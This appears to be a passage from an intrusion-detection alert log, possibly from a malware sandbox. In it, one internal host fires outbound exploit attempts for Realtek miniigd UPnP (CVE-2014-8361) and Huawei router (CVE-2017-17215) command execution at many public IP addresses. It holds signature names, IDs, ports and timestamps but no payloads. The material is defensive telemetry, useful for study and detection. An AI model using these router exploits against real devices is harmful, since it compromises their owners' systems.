Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.44.122.49

Timestamp:	07/20/24-23:01:10.703412
SID:	2025132
Source Port:	41478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.253.92.60

Timestamp:	07/20/24-23:01:44.546338
SID:	2831300
Source Port:	57954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.61.70.96

Timestamp:	07/20/24-23:01:59.738271
SID:	2831300
Source Port:	44640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.230.247.23

Timestamp:	07/20/24-23:01:52.001138
SID:	2025132
Source Port:	41364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.238.252

Timestamp:	07/20/24-23:01:02.104572
SID:	2835222
Source Port:	44332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.50.75.236

Timestamp:	07/20/24-23:01:43.039504
SID:	2831300
Source Port:	37938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.61.181.140

Timestamp:	07/20/24-23:01:58.216922
SID:	2027339
Source Port:	49966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.109.173.165

Timestamp:	07/20/24-23:01:48.369883
SID:	2027339
Source Port:	53018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.117.171.160

Timestamp:	07/20/24-23:02:11.791090
SID:	2025132
Source Port:	50920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.151.175.195

Timestamp:	07/20/24-23:01:42.656963
SID:	2831300
Source Port:	40824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.8.193.70

Timestamp:	07/20/24-23:02:00.056416
SID:	2025132
Source Port:	43614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.196.213

Timestamp:	07/20/24-23:01:21.936545
SID:	2835222
Source Port:	60996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.238.5.172

Timestamp:	07/20/24-23:01:54.702517
SID:	2025132
Source Port:	33592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.89.64.185

Timestamp:	07/20/24-23:01:41.280927
SID:	2025132
Source Port:	45798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.57.98.237

Timestamp:	07/20/24-23:01:42.592254
SID:	2027339
Source Port:	59972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.48.241.197

Timestamp:	07/20/24-23:01:47.632780
SID:	2027339
Source Port:	53350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.227.25.96

Timestamp:	07/20/24-23:01:44.894920
SID:	2831300
Source Port:	56832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.208.141.188

Timestamp:	07/20/24-23:01:11.630649
SID:	2835222
Source Port:	43630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.80.129.250

Timestamp:	07/20/24-23:01:21.936545
SID:	2829579
Source Port:	45502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.8.251.245

Timestamp:	07/20/24-23:01:46.985099
SID:	2027339
Source Port:	51738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.227.71.109

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	38422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.152.13.65

Timestamp:	07/20/24-23:01:46.254249
SID:	2027339
Source Port:	40882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.117.151.237

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	33446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.18.152.238

Timestamp:	07/20/24-23:01:41.882275
SID:	2027339
Source Port:	34572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.126.99.183

Timestamp:	07/20/24-23:01:44.099658
SID:	2027339
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.105.53.195

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	35458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 217.255.162.70

Timestamp:	07/20/24-23:02:02.527007
SID:	2831300
Source Port:	39876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.47.146.130

Timestamp:	07/20/24-23:01:51.888686
SID:	2027339
Source Port:	51016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.105.107

Timestamp:	07/20/24-23:00:59.158279
SID:	2829579
Source Port:	37060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.199.56.180

Timestamp:	07/20/24-23:01:43.096223
SID:	2027339
Source Port:	48996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.131.252.163

Timestamp:	07/20/24-23:01:53.937783
SID:	2027339
Source Port:	36150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 166.117.175.116

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.79.195.70

Timestamp:	07/20/24-23:01:08.563906
SID:	2027339
Source Port:	50832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.209.51.160

Timestamp:	07/20/24-23:01:58.031141
SID:	2025132
Source Port:	54370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.149.108.97

Timestamp:	07/20/24-23:01:43.118475
SID:	2027339
Source Port:	55698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.15.32.116

Timestamp:	07/20/24-23:02:05.506482
SID:	2025132
Source Port:	47272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.172.129

Timestamp:	07/20/24-23:01:11.633481
SID:	2829579
Source Port:	53114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.203.199.212

Timestamp:	07/20/24-23:01:44.349550
SID:	2027339
Source Port:	41078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.30.72.57

Timestamp:	07/20/24-23:01:43.266134
SID:	2025132
Source Port:	33396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.201.129.18

Timestamp:	07/20/24-23:01:52.543362
SID:	2027339
Source Port:	58208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.234.100.63

Timestamp:	07/20/24-23:01:01.886452
SID:	2025132
Source Port:	51918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.55.62.242

Timestamp:	07/20/24-23:01:47.700893
SID:	2025132
Source Port:	38084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.189.20.84

Timestamp:	07/20/24-23:01:44.469580
SID:	2027339
Source Port:	33848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.90.77.175

Timestamp:	07/20/24-23:01:50.848727
SID:	2025132
Source Port:	53540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.74.212.139

Timestamp:	07/20/24-23:01:21.928521
SID:	2829579
Source Port:	47998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.104.185.79

Timestamp:	07/20/24-23:01:44.996260
SID:	2027339
Source Port:	39878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.52.153.70

Timestamp:	07/20/24-23:02:16.647796
SID:	2027339
Source Port:	49650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.233.106

Timestamp:	07/20/24-23:01:04.114673
SID:	2829579
Source Port:	48702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.20.70.247

Timestamp:	07/20/24-23:01:02.365539
SID:	2025132
Source Port:	50400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.242.86.47

Timestamp:	07/20/24-23:01:42.189694
SID:	2027339
Source Port:	52172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.32.142.171

Timestamp:	07/20/24-23:01:40.285039
SID:	2835222
Source Port:	44938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.175.144.226

Timestamp:	07/20/24-23:01:59.905375
SID:	2831300
Source Port:	44260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.85.228.41

Timestamp:	07/20/24-23:01:07.036064
SID:	2829579
Source Port:	47242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.125.163.90

Timestamp:	07/20/24-23:01:41.374418
SID:	2025132
Source Port:	38966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 92.182.23.52

Timestamp:	07/20/24-23:01:52.144379
SID:	2831300
Source Port:	56624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.134.27

Timestamp:	07/20/24-23:00:57.221132
SID:	2829579
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.207.100.170

Timestamp:	07/20/24-23:01:53.537092
SID:	2831300
Source Port:	60534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.63.23.173

Timestamp:	07/20/24-23:01:51.683848
SID:	2027339
Source Port:	39894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.76.186.58

Timestamp:	07/20/24-23:01:49.011895
SID:	2027339
Source Port:	43950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.35.124

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.44.188.95

Timestamp:	07/20/24-23:01:45.432263
SID:	2831300
Source Port:	38040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.133.189.92

Timestamp:	07/20/24-23:01:55.423260
SID:	2025132
Source Port:	32990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.83.154.226

Timestamp:	07/20/24-23:01:07.075937
SID:	2829579
Source Port:	55146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.222.87.118

Timestamp:	07/20/24-23:01:08.598416
SID:	2831300
Source Port:	41014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.27.196.68

Timestamp:	07/20/24-23:01:52.701293
SID:	2831300
Source Port:	53376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.53.164.7

Timestamp:	07/20/24-23:02:36.102280
SID:	2027339
Source Port:	46296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.141.217.184

Timestamp:	07/20/24-23:01:43.058685
SID:	2027339
Source Port:	60424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.200.30.164

Timestamp:	07/20/24-23:01:08.607816
SID:	2027339
Source Port:	43644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.66.245.70

Timestamp:	07/20/24-23:01:42.608153
SID:	2831300
Source Port:	37398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.165.24.130

Timestamp:	07/20/24-23:01:02.054387
SID:	2829579
Source Port:	53574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.5.145.192

Timestamp:	07/20/24-23:01:50.807258
SID:	2025132
Source Port:	32990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.215.93.59

Timestamp:	07/20/24-23:02:11.630112
SID:	2025132
Source Port:	37112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.238.28.166

Timestamp:	07/20/24-23:01:47.006773
SID:	2831300
Source Port:	55532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.39.36.55

Timestamp:	07/20/24-23:01:08.584506
SID:	2831300
Source Port:	42566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.31.9.47

Timestamp:	07/20/24-23:01:44.698984
SID:	2027339
Source Port:	40512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.105.156

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	57906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.208.18.63

Timestamp:	07/20/24-23:01:41.404974
SID:	2027339
Source Port:	40958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.225.198.252

Timestamp:	07/20/24-23:01:48.108304
SID:	2027339
Source Port:	43398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.230.89.206

Timestamp:	07/20/24-23:01:02.093903
SID:	2835222
Source Port:	41692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.46.127

Timestamp:	07/20/24-23:01:04.082384
SID:	2829579
Source Port:	44494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.43.82.157

Timestamp:	07/20/24-23:02:04.091867
SID:	2027339
Source Port:	36946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.152.117.80

Timestamp:	07/20/24-23:01:57.346494
SID:	2027339
Source Port:	60314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.27.105.182

Timestamp:	07/20/24-23:01:56.265254
SID:	2027339
Source Port:	33578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.200.167.6

Timestamp:	07/20/24-23:01:57.313050
SID:	2027339
Source Port:	52776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.162.13.246

Timestamp:	07/20/24-23:01:25.948093
SID:	2025132
Source Port:	43810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.253.85.199

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	35972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.27.232.7

Timestamp:	07/20/24-23:01:09.081648
SID:	2831300
Source Port:	40564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.193.87.124

Timestamp:	07/20/24-23:01:08.563416
SID:	2027339
Source Port:	46698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.199.209

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	44866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.107.33.68

Timestamp:	07/20/24-23:01:57.169212
SID:	2831300
Source Port:	44662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.69.99

Timestamp:	07/20/24-23:01:34.045143
SID:	2829579
Source Port:	51032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.132.5.218

Timestamp:	07/20/24-23:01:13.649188
SID:	2027339
Source Port:	51914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.136.114.82

Timestamp:	07/20/24-23:01:59.992284
SID:	2831300
Source Port:	47644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.185.97.186

Timestamp:	07/20/24-23:01:48.255782
SID:	2027339
Source Port:	41630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.75.200.235

Timestamp:	07/20/24-23:01:04.624022
SID:	2025132
Source Port:	37678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.97.165.219

Timestamp:	07/20/24-23:01:45.511523
SID:	2831300
Source Port:	41908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.166.157.114

Timestamp:	07/20/24-23:01:48.191657
SID:	2027339
Source Port:	39676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.186.145.164

Timestamp:	07/20/24-23:01:08.672944
SID:	2027339
Source Port:	60846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.149.70.228

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	53856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected
